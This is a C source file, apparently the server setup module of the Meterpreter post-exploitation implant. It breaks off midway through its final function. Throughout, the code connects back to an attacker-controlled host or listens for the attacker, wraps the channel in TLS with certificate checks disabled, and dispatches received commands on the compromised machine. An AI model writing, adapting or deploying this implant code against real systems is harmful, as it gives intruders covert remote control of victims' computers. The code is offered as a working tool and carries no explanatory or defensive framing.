/*! * @file server_setup.c */ #include "metsrv.h" #include "../../common/common.h" #include <netdb.h> #include <netinet/in.h> const unsigned int hAppInstance = 0x504b5320; // 'PKS ' /*! @brief An array of locks for use by OpenSSL. */ static LOCK **ssl_locks = NULL; /*! * @brief Perform the reverse_tcp connect. * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure. * @param sockAddr The SOCKADDR structure which contains details of the connection. * @param sockAddrSize The size of the \c sockAddr structure. * @param retryTotal The number of seconds to continually retry for. * @param retryWait The number of seconds between each connect attempt. * @return Indication of success or failure. */ static DWORD reverse_tcp_run(SOCKET reverseSocket, struct sockaddr* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait) { DWORD result = ERROR_SUCCESS; int start = current_unix_timestamp(); do { int retryStart = current_unix_timestamp(); if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) { break; } dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); sleep(retryWait * 1000); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); if (result == SOCKET_ERROR) { closesocket(reverseSocket); } return result; } /*! * @brief Connects to a provided host/port (IPv4), downloads a payload and executes it. * @param host String containing the name or IP of the host to connect to. * @param port Port number to connect to. * @param retryTotal The number of seconds to continually retry for. * @param retryWait The number of seconds between each connect attempt. * @return Indication of success or failure. */ static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) { // prepare to connect to the attacker DWORD result = ERROR_SUCCESS; SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct hostent* target = gethostbyname(host); char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); struct sockaddr_in sock = { 0 }; sock.sin_addr.s_addr = inet_addr(targetIp); sock.sin_family = AF_INET; sock.sin_port = htons(port); *socketBuffer = 0; result = reverse_tcp_run(socketHandle, (struct sockaddr*)&sock, sizeof(sock), retryTotal, retryWait); if (result == ERROR_SUCCESS) { *socketBuffer = socketHandle; } return result; } /*! * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it. * @param host String containing the name or IP of the host to connect to. * @param service The target service/port. * @param scopeId IPv6 scope ID. * @param retryTotal The number of seconds to continually retry for. * @param retryWait The number of seconds between each connect attempt. * @return Indication of success or failure. */ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) { int start; DWORD result = ERROR_SUCCESS; SOCKET socketHandle; struct addrinfo hints = { 0 }; *socketBuffer = 0; hints.ai_family = AF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; struct addrinfo* addresses; if (getaddrinfo(host, service, &hints, &addresses) != 0) { return errno; } // prepare to connect to the attacker socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (socketHandle == INVALID_SOCKET) { dprintf("[STAGELESS IPV6] failed to connect to attacker"); return errno; } start = current_unix_timestamp(); do { struct addrinfo* address = NULL; int retryStart = current_unix_timestamp(); for (address = addresses; address != NULL; address = address->ai_next) { ((struct sockaddr_in6*)address->ai_addr)->sin6_scope_id = scopeId; if (connect(socketHandle, address->ai_addr, (int)address->ai_addrlen) != SOCKET_ERROR) { dprintf("[STAGELESS IPV6] Socket successfully connected"); *socketBuffer = socketHandle; freeaddrinfo(addresses); return ERROR_SUCCESS; } } dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); sleep(retryWait); } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); closesocket(socketHandle); freeaddrinfo(addresses); return errno; } /*! * @brief Perform the bind_tcp process. * @param listenSocket The existing listen socket that refers to the remote host connection, closed before returning. * @param sockAddr The SOCKADDR structure which contains details of the connection. * @param sockAddrSize The size of the \c sockAddr structure. * @param acceptSocketBuffer Buffer that will receive the accepted socket handle on success. * @return Indication of success or failure. */ static DWORD bind_tcp_run(SOCKET listenSocket, struct sockaddr* sockAddr, int sockAddrSize, SOCKET* acceptSocketBuffer) { SOCKET acceptSocket; DWORD result = ERROR_SUCCESS; do { int yes = 1; if (setsockopt(listenSocket, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) != 0) { dprintf("[BIND RUN] Failed to set sock opt: %u", errno); result = errno; break; } if (bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) { dprintf("[BIND RUN] Socket failed to bind: %u", errno); result = errno; break; } dprintf("[BIND RUN] Socket bound successfully"); if (listen(listenSocket, 1) == SOCKET_ERROR) { result = errno; break; } dprintf("[BIND RUN] Listening ..."); // Setup, ready to go, now wait for the connection. acceptSocket = accept(listenSocket, NULL, NULL); if (acceptSocket == INVALID_SOCKET) { result = errno; break; } dprintf("[BIND RUN] Valid socket accepted %u", acceptSocket); *acceptSocketBuffer = acceptSocket; } while (0); closesocket(listenSocket); return result; } /*! * @brief Listens on a port for an incoming payload request. * @param port Port number to listen on. */ static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) { *socketBuffer = 0; // prepare a connection listener for the attacker to connect to, and we // attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4 // only if the process fails. BOOL v4Fallback = FALSE; SOCKET listenSocket = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { dprintf("[BIND] Unable to create IPv6 socket"); v4Fallback = TRUE; } else { int no = 0; if (setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. dprintf("[BIND] Unable to remove IPV6_ONLY option"); closesocket(listenSocket); v4Fallback = TRUE; } } if (v4Fallback) { dprintf("[BIND] Falling back to IPV4"); listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } struct sockaddr_in6 sockAddr = { 0 }; if (v4Fallback) { struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; v4Addr->sin_addr.s_addr = htons(INADDR_ANY); v4Addr->sin_family = AF_INET; v4Addr->sin_port = htons(port); } else { sockAddr.sin6_addr = in6addr_any; sockAddr.sin6_family = AF_INET6; sockAddr.sin6_port = htons(port); } return bind_tcp_run(listenSocket, (struct sockaddr*)&sockAddr, v4Fallback ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), socketBuffer); } /*! * @brief A callback function used by OpenSSL to leverage native system locks. * @param mode The lock mode to set. * @param type The lock type to operate on. * @param file Unused. * @param line Unused. */ static void server_locking_callback(int mode, int type, const char *file, int line) { if (mode & CRYPTO_LOCK) { lock_acquire(ssl_locks[type]); } else { lock_release(ssl_locks[type]); } } /*! * @brief A callback function used by OpenSSL to get the current threads id. * @returns The current thread ID. * @remarks While not needed on windows this must be used for posix meterpreter. */ static long unsigned int server_threadid_callback(void) { return pthread_self(); } /*! * @brief A callback function for dynamic lock creation for OpenSSL. * @returns A pointer to a lock that can be used for synchronisation. * @param file _Ignored_ * @param line _Ignored_ */ static struct CRYPTO_dynlock_value *server_dynamiclock_create(const char *file, int line) { return (struct CRYPTO_dynlock_value *)lock_create(); } /*! * @brief A callback function for dynamic lock locking for OpenSSL. * @param mode A bitmask which indicates the lock mode. * @param l A point to the lock instance. * @param file _Ignored_ * @param line _Ignored_ */ static void server_dynamiclock_lock(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line) { LOCK *lock = (LOCK *) l; if (mode & CRYPTO_LOCK) { lock_acquire(lock); } else { lock_release(lock); } } /*! * @brief A callback function for dynamic lock destruction for OpenSSL. * @param l A point to the lock instance. * @param file _Ignored_ * @param line _Ignored_ */ static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value *l, const char *file, int line) { lock_destroy((LOCK *) l); } /*! * @brief Flush all pending data on the connected socket before doing SSL. * @param remote Pointer to the remote instance. */ static VOID server_socket_flush(Transport* transport) { TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; fd_set fdread; DWORD ret; char buff[4096]; lock_acquire(transport->lock); while (1) { struct timeval tv; LONG data; FD_ZERO(&fdread); FD_SET(ctx->fd, &fdread); // Wait for up to one second for any errant socket data to appear tv.tv_sec = 1; tv.tv_usec = 0; data = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); if (data == 0) { break; } ret = recv(ctx->fd, buff, sizeof(buff), 0); dprintf("[SERVER] Flushed %d bytes from the buffer", ret); // The socket closed while we waited if (ret <= 0) { break; } continue; } lock_release(transport->lock); } /*! * @brief Poll a socket for data to recv and block when none available. * @param remote Pointer to the remote instance. * @param timeout Amount of time to wait before the poll times out (in milliseconds). * @return Indication of success or failure. */ static LONG server_socket_poll(Remote * remote, long timeout) { TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; struct timeval tv; LONG result; fd_set fdread; lock_acquire(remote->lock); FD_ZERO(&fdread); FD_SET(ctx->fd, &fdread); tv.tv_sec = 0; tv.tv_usec = timeout; result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); if (result == -1 && (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)) { result = 0; } lock_release(remote->lock); return result; } /*! * @brief Initialize the OpenSSL subsystem for use in a multi threaded enviroment. * @param transport Pointer to the transport instance. * @return Indication of success or failure. */ static BOOL server_initialize_ssl(Transport* transport) { int i; lock_acquire(transport->lock); // Begin to bring up the OpenSSL subsystem... CRYPTO_malloc_init(); SSL_load_error_strings(); SSL_library_init(); // Setup the required OpenSSL multi-threaded enviroment... ssl_locks = malloc(CRYPTO_num_locks() * sizeof(LOCK *)); if (ssl_locks == NULL) { dprintf("[SSL INIT] failed to allocate locks (%d locks)", CRYPTO_num_locks()); lock_release(transport->lock); return FALSE; } for (i = 0; i < CRYPTO_num_locks(); i++) { ssl_locks[i] = lock_create(); } CRYPTO_set_id_callback(server_threadid_callback); CRYPTO_set_locking_callback(server_locking_callback); CRYPTO_set_dynlock_create_callback(server_dynamiclock_create); CRYPTO_set_dynlock_lock_callback(server_dynamiclock_lock); CRYPTO_set_dynlock_destroy_callback(server_dynamiclock_destroy); lock_release(transport->lock); return TRUE; } /*! * @brief Bring down the OpenSSL subsystem * @param transport Pointer to the transport instance. * @return Indication of success or failure. */ static BOOL server_destroy_ssl(Transport* transport) { TcpTransportContext* ctx = NULL; int i; if (transport) { dprintf("[SERVER] Destroying SSL"); lock_acquire(transport->lock); if (transport && transport->ctx) { ctx = (TcpTransportContext*)transport->ctx; SSL_free(ctx->ssl); SSL_CTX_free(ctx->ctx); } CRYPTO_set_locking_callback(NULL); CRYPTO_set_id_callback(NULL); CRYPTO_set_dynlock_create_callback(NULL); CRYPTO_set_dynlock_lock_callback(NULL); CRYPTO_set_dynlock_destroy_callback(NULL); for (i = 0; i < CRYPTO_num_locks(); i++) { lock_destroy(ssl_locks[i]); } free(ssl_locks); lock_release(transport->lock); } return TRUE; } /*! * @brief Negotiate SSL on the socket. * @param transport Pointer to the transport instance. * @return Indication of success or failure. */ static BOOL server_negotiate_ssl(Transport* transport) { TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; BOOL success = TRUE; DWORD ret = 0; DWORD res = 0; lock_acquire(transport->lock); ctx->meth = (SSL_METHOD*)TLSv1_client_method(); ctx->ctx = SSL_CTX_new(ctx->meth); SSL_CTX_set_mode(ctx->ctx, SSL_MODE_AUTO_RETRY); ctx->ssl = SSL_new(ctx->ctx); SSL_set_verify(ctx->ssl, SSL_VERIFY_NONE, NULL); if (SSL_set_fd(ctx->ssl, ctx->fd) == 0) { dprintf("[SERVER] set fd failed"); success = FALSE; goto out; } do { if ((ret = SSL_connect(ctx->ssl)) != 1) { res = SSL_get_error(ctx->ssl, ret); dprintf("[SERVER] connect failed %d\n", res); if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) { // Catch non-blocking socket errors and retry continue; } success = FALSE; break; } } while (ret != 1); if (success == FALSE) goto out; dprintf("[SERVER] Sending a HTTP GET request to the remote side..."); if ((ret = SSL_write(ctx->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) { dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(ctx->ssl, ret)); } out: lock_release(transport->lock); dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret); if (ret < 0) { success = FALSE; } return success; } /*! * @brief Transmit a packet via SSL _and_ destroy it. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the \c Packet that is to be sent. * @param completion Pointer to the completion routines to process. * @return An indication of the result of processing the transmission request. * @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS. */ DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompletion* completion) { CryptoContext* crypto; Tlv requestId; DWORD res; DWORD idx; TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; lock_acquire(remote->lock); // If the packet does not already have a request identifier, create one for it if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) { DWORD index; CHAR rid[32]; rid[sizeof(rid)-1] = 0; for (index = 0; index < sizeof(rid)-1; index++) { rid[index] = (rand() % 0x5e) + 0x21; } packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); } do { // If a completion routine was supplied and the packet has a request // identifier, insert the completion routine into the list if ((completion) && (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) == ERROR_SUCCESS)) { packet_add_completion_handler((LPCSTR)requestId.buffer, completion); } // If the endpoint has a cipher established and this is not a plaintext // packet, we encrypt if ((crypto = remote_get_cipher(remote)) && (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) && (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE)) { ULONG origPayloadLength = packet->payloadLength; PUCHAR origPayload = packet->payload; // Encrypt if ((res = crypto->handlers.encrypt(crypto, packet->payload, packet->payloadLength, &packet->payload, &packet->payloadLength)) != ERROR_SUCCESS) { SetLastError(res); break; } // Destroy the original payload as we no longer need it free(origPayload); // Update the header length packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader)); } idx = 0; while (idx < sizeof(packet->header)) { // Transmit the packet's header (length, type) res = SSL_write( ctx->ssl, (LPCSTR)(&packet->header) + idx, sizeof(packet->header) - idx ); if (res <= 0) { dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx); break; } idx += res; } if (res < 0) { break; } idx = 0; while (idx < packet->payloadLength) { // Transmit the packet's payload (length, type) res = SSL_write( ctx->ssl, packet->payload + idx, packet->payloadLength - idx ); if (res < 0) { break; } idx += res; } if (res < 0) { dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx); break; } SetLastError(ERROR_SUCCESS); } while (0); res = GetLastError(); // Destroy the packet packet_destroy(packet); lock_release(remote->lock); return res; } /*! * @brief Receive a new packet on the given remote endpoint. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to a pointer that will receive the \c Packet data. * @return An indication of the result of processing the transmission request. */ static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet) { DWORD headerBytes = 0, payloadBytesLeft = 0, res; CryptoContext *crypto = NULL; Packet *localPacket = NULL; TlvHeader header; LONG bytesRead; BOOL inHeader = TRUE; PUCHAR payload = NULL; ULONG payloadLength; TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; lock_acquire(remote->lock); do { // Read the packet length while (inHeader) { if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0) { if (!bytesRead) { SetLastError(ERROR_NOT_FOUND); } if (bytesRead < 0) { dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(ctx->ssl, bytesRead), WSAGetLastError()); SetLastError(ERROR_NOT_FOUND); } break; } headerBytes += bytesRead; if (headerBytes != sizeof(TlvHeader)) { continue; } inHeader = FALSE; } if (headerBytes != sizeof(TlvHeader)) { break; } // Initialize the header header.length = header.length; header.type = header.type; payloadLength = ntohl(header.length) - sizeof(TlvHeader); payloadBytesLeft = payloadLength; // Allocate the payload if (!(payload = (PUCHAR)malloc(payloadLength))) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } // Read the payload while (payloadBytesLeft > 0) { if ((bytesRead = SSL_read(ctx->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0) { if (GetLastError() == WSAEWOULDBLOCK) { continue; } if (!bytesRead) { SetLastError(ERROR_NOT_FOUND); } if (bytesRead < 0) { dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(ctx->ssl, bytesRead)); SetLastError(ERROR_NOT_FOUND); } break; } payloadBytesLeft -= bytesRead; } // Didn't finish? if (payloadBytesLeft) { break; } // Allocate a packet structure if (!(localPacket = (Packet *)malloc(sizeof(Packet)))) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } memset(localPacket, 0, sizeof(Packet)); // If the connection has an established cipher and this packet is not // plaintext, decrypt if ((crypto = remote_get_cipher(remote)) && (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) && (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE)) { ULONG origPayloadLength = payloadLength; PUCHAR origPayload = payload; // Decrypt if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS) { SetLastError(res); break; } // We no longer need the encrypted payload free(origPayload); } localPacket->header.length = header.length; localPacket->header.type = header.type; localPacket->payload = payload; localPacket->payloadLength = payloadLength; *packet = localPacket; SetLastError(ERROR_SUCCESS); } while (0); res = GetLastError(); // Cleanup on failure if (res != ERROR_SUCCESS) { if (payload) { free(payload); } if (localPacket) { free(localPacket); } } lock_release(remote->lock); return res; } /*! * @brief The servers main dispatch loop for incoming requests using SSL over TCP * @param remote Pointer to the remote endpoint for this server connection. * @returns Indication of success or failure. */ static BOOL server_dispatch_tcp(Remote * remote, THREAD* dispatchThread) { BOOL running = TRUE; LONG result = ERROR_SUCCESS; Packet *packet = NULL; THREAD *cpt = NULL; dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); // Bring up the scheduler subsystem. result = scheduler_initialize(remote); if (result != ERROR_SUCCESS) { return result; } while (running) { if (event_poll(dispatchThread->sigterm, 0)) { dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); break; } result = server_socket_poll(remote, 500000); if (result > 0) { result = packet_receive_via_ssl(remote, &packet); if (result != ERROR_SUCCESS) { dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); break; } running = command_handle(remote, packet); dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); } else if (result < 0) { dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); break; } } dprintf("[DISPATCH] calling scheduler_destroy...") scheduler_destroy(); dprintf("[DISPATCH] calling command_join_threads...") command_join_threads(); dprintf("[DISPATCH] leaving server_dispatch."); return result; } /*! * @brief Destroy the TCP transport. * @param transport Pointer to the TCP transport to destroy. */ static void transport_destroy_tcp(Transport* transport) { if (transport && transport->type == METERPRETER_TRANSPORT_SSL) { dprintf("[TRANS TCP] Destroying tcp transport for url %S", transport->url); SAFE_FREE(transport->url); SAFE_FREE(transport->ctx); SAFE_FREE(transport); } } /*! * @brief Handle cleaning up on the client socket when MSF terminates the connection. * @param thread Pointer to the thread instance. * @return EXIT_SUCCESS */ DWORD THREADCALL cleanup_socket(THREAD* thread) { char buf[4]; int result; SOCKET fd = (SOCKET)thread->parameter1; dprintf("[TCP] waiting for disconnect from remote"); // loop until FD_CLOSE comes through. while ((result = recv(fd, buf, sizeof(buf), 0)) != 0) { if (result <= 0) { break; } } dprintf("[TCP] disconnect received, cleaning up"); closesocket(fd); thread_destroy(thread); return EXIT_SUCCESS; } /*! * @brief Reset the given TCP connection. * @param transport Pointer to the TCP transport to reset. * @param shuttingDown Indication that the Metsrv instance is terminating completely. */ static void transport_reset_tcp(Transport* transport, BOOL shuttingDown) { if (transport && transport->type == METERPRETER_TRANSPORT_SSL) { TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; dprintf("[TCP] Resetting transport from %u", ctx->fd); if (ctx->fd) { if (shuttingDown) { dprintf("[TCP] Transport is shutting down"); // we can terminate right here, given that we're closing up closesocket(ctx->fd); } else { dprintf("[TCP] It should now be safe to close the socket."); THREAD* t = thread_create(cleanup_socket, (LPVOID)ctx->fd, NULL, NULL); thread_run(t); } } ctx->fd = 0; dprintf("[TCP] Transport 0x%p is now reset to %u", transport, ctx->fd); } } /*! * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. * @param remote Pointer to the remote instance with the TCP transport details wired in. * @param sock Reference to the original socket FD passed to metsrv. * @return Indication of success or failure. */ static BOOL configure_tcp_connection(Transport* transport) { DWORD result = ERROR_SUCCESS; size_t charsConverted; char tempUrl[512] = {0}; TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; // check if comms is already open via a staged payload if (ctx->fd) { dprintf("[TCP] Connection already running on %u", ctx->fd); } else { dprintf("[TCP CONFIGURE] Url: %s", transport->url); // copy the URL to the temp location and work from there // so that we don't damage the original URL while breaking // it up into its individual parts. strncpy(tempUrl, transport->url, sizeof(tempUrl) - 1); //transport->start_time = current_unix_timestamp(); transport->comms_last_packet = current_unix_timestamp(); if (strncmp(tempUrl, "tcp", 3) == 0) { char* pHost = strstr(tempUrl, "//") + 2; char* pPort = strrchr(pHost, ':') + 1; // check if we're using IPv6 if (tempUrl[3] == '6') { char* pScopeId = strrchr(pHost, '?') + 1; *(pScopeId - 1) = '\0'; *(pPort - 1) = '\0'; dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, transport->timeouts.retry_wait, &ctx->fd); } else { u_short usPort = (u_short)atoi(pPort); // if no host is specified, then we can assume that this is a bind payload, otherwise // we'll assume that the payload is a reverse_tcp one and the given host is valid if (*pHost == ':') { dprintf("[STAGELESS] IPv4 bind port %s", pPort); result = bind_tcp(usPort, &ctx->fd); } else { *(pPort - 1) = '\0'; dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, transport->timeouts.retry_wait, &ctx->fd); } } } } if (result != ERROR_SUCCESS) { dprintf("[SERVER] Something went wrong %u", result); return FALSE; } dprintf("[SERVER] Looking good, FORWARD!"); dprintf("[SERVER] Flushing the socket handle..."); server_socket_flush(transport); // Short term hack to be removed when the stageless stuff works. // Flush the socket a second time to ignore the payload if we're // reconnecting server_socket_flush(transport); transport->comms_last_packet = current_unix_timestamp(); dprintf("[SERVER] Initializing SSL..."); if (!server_initialize_ssl(transport)) { return FALSE; } dprintf("[SERVER] Negotiating SSL..."); if (!server_negotiate_ssl(transport)) { return FALSE; } return TRUE; } /*! * @brief Get the socket from the transport (if it's TCP). * @param transport Pointer to the TCP transport containing the socket. * @return The current transport socket FD, if any, or zero. */ static SOCKET transport_get_socket_tcp(Transport* transport) { if (transport && transport->type == METERPRETER_TRANSPORT_SSL) { return ((TcpTransportContext*)transport->ctx)->fd; } return 0; } /*! * @brief Creates a new TCP transport instance. * @param url URL containing the transport details. * @param timeouts The timeout values to use for this transport. * @return Pointer to the newly configured/created TCP transport instance. */ static Transport* transport_create_tcp(MetsrvTransportTcp* config) { Transport* transport = (Transport*)malloc(sizeof(Transport)); TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); dprintf("[TRANS TCP] Creating tcp transport for url %s", config->common.url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(TcpTransportContext)); transport->type = METERPRETER_TRANSPORT_SSL; transport->timeouts.comms = config->common.comms_timeout; transport->timeouts.retry_total = config->common.retry_total; transport->timeouts.retry_wait = config->common.retry_wait; transport->url = strdup(config->common.url); transport->packet_transmit = packet_transmit_via_ssl; transport->transport_init = configure_tcp_connection; transport->transport_deinit = server_destroy_ssl; transport->transport_destroy = transport_destroy_tcp; transport->transport_reset = transport_reset_tcp; transport->server_dispatch = server_dispatch_tcp; transport->get_socket = transport_get_socket_tcp; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); return transport; } static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) { Transport* transport = NULL; dprintf("[TRNS] Transport claims to have URL: %s", transportCommon->url); dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); if (strncmp(transportCommon->url, "tcp", 3) == 0) { if (size) { *size = sizeof(MetsrvTransportTcp); } transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon); } if (transport == NULL) { // something went wrong return NULL; } // always insert at the tail. The first transport will be the one that kicked everything off if (remote->transport == NULL) { // point to itself, as this is the first transport. transport->next_transport = transport->prev_transport = transport; remote->transport = transport; } else { transport->prev_transport = remote->transport->prev_transport; transport->next_transport = remote->transport; remote->transport->prev_transport->next_transport = transport; remote->transport->prev_transport = transport; } // share the lock with the transport transport->lock = remote->lock; return transport; } static void append_transport(Transport** list, Transport* newTransport) { if (*list == NULL) { // point to itself! newTransport->next_transport = newTransport->prev_transport = newTransport; *list = newTransport; } else { // always insert at the tail newTransport->prev_transport = (*list)->prev_transport; newTransport->next_transport = (*list); (*list)->prev_transport->next_transport = newTransport; (*list)->prev_transport = newTransport; } } static void remove_transport(Remote* remote, Transport* oldTransport) { // if we point to ourself, then we're the last one if (remote->transport->next_transport == remote->transport) { remote->transport = NULL; } else { // if we're removing the current one we need to move the pointer to the // next one in the list. if (remote->transport == oldTransport) { remote->transport = remote->transport->next_transport; } oldTransport->prev_transport->next_transport = oldTransport->next_transport; oldTransport->next_transport->prev_transport = oldTransport->prev_transport; } oldTransport->transport_destroy(oldTransport); } static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) { DWORD totalSize = 0; MetsrvTransportCommon* current = transports; // The first part of the transport is always the URL, if it's NULL, we are done. while (current->url[0] != 0) { DWORD size; if (create_transport(remote, current, &size) != NULL) { dprintf("[TRANS] transport created of size %u", size); totalSize += size; // go to the next transport based on the size of the existing one. current = (MetsrvTransportCommon*)((LPBYTE)current + size); } else { // This is not good return FALSE; } } // account for the last terminating NULL wchar *parsedSize = totalSize + sizeof(wchar_t); return TRUE; } /*! * @brief Create a configuration block from the given transport. * @param transport Transport data to create the configuration from. * @return config Pointer to the config block to write to. */ static void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) { if (transport && config) { config->common.comms_timeout = transport->timeouts.comms; config->common.retry_total = transport->timeouts.retry_total; config->common.retry_wait = transport->timeouts.retry_wait; strncpy(config->common.url, transport->url, URL_SIZE); } } static void config_create(Remote* remote, MetsrvConfig** config, LPDWORD size) { // This function is really only used for migration purposes. DWORD s = sizeof(MetsrvSession); MetsrvSession* sess = (MetsrvSession*)malloc(s); memset(sess, 0, s); dprintf("[CONFIG] preparing the configuration"); // start by preparing the session. memcpy(sess->uuid, remote->orig_config->session.uuid, UUID_SIZE); sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); // TOOD: figure what we should be doing for POSIX here. sess->exit_func = 0; Transport* current = remote->transport; Transport* t = remote->transport; do { // extend memory appropriately DWORD neededSize = t->type == METERPRETER_TRANSPORT_SSL ? sizeof(MetsrvTransportTcp) : sizeof(MetsrvTransportHttp); dprintf("[CONFIG] Allocating %u bytes for %s transport, total of %u bytes", neededSize, t->type == METERPRETER_TRANSPORT_SSL ? "ssl" : "http/s", s); sess = (MetsrvSession*)realloc(sess, s + neededSize); // load up the transport specifics LPBYTE target = (LPBYTE)sess + s; memset(target, 0, neededSize); s += neededSize; if (t->type == METERPRETER_TRANSPORT_SSL) { transport_write_tcp_config(t, (MetsrvTransportTcp*)target); dprintf("[CONFIG] TCP Comms Timeout: %d", ((MetsrvTransportTcp*)target)->common.comms_timeout); dprintf("[CONFIG] TCP Retry Total: %d", ((MetsrvTransportTcp*)target)->common.retry_total); dprintf("[CONFIG] TCP Retry Wait: %d", ((MetsrvTransportTcp*)target)->common.retry_wait); dprintf("[CONFIG] TCP URL: %s", ((MetsrvTransportTcp*)target)->common.url); // if the current transport is TCP, copy the socket fd over so that migration can use it. if (t == current) { sess->comms_fd = (DWORD)t->get_socket(t); } } t = t->next_transport; } while (t != current); // account for the last terminating NULL wchar so that the target knows the list has reached the end, // as well as the end of the extensions list. We may support wiring up existing extensions later on. DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD); sess = (MetsrvSession*)realloc(sess, s + terminatorSize); memset((LPBYTE)sess + s, 0, terminatorSize); s += terminatorSize; // hand off the data dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); *size = s; *config = (MetsrvConfig*)sess; } /*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD * serverThread = NULL; Remote *remote = NULL; char cStationName[256] = { 0 }; char cDesktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing..."); int local_error = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); srand(time(NULL)); // Open a THREAD item for the servers main thread, we use this to manage migration 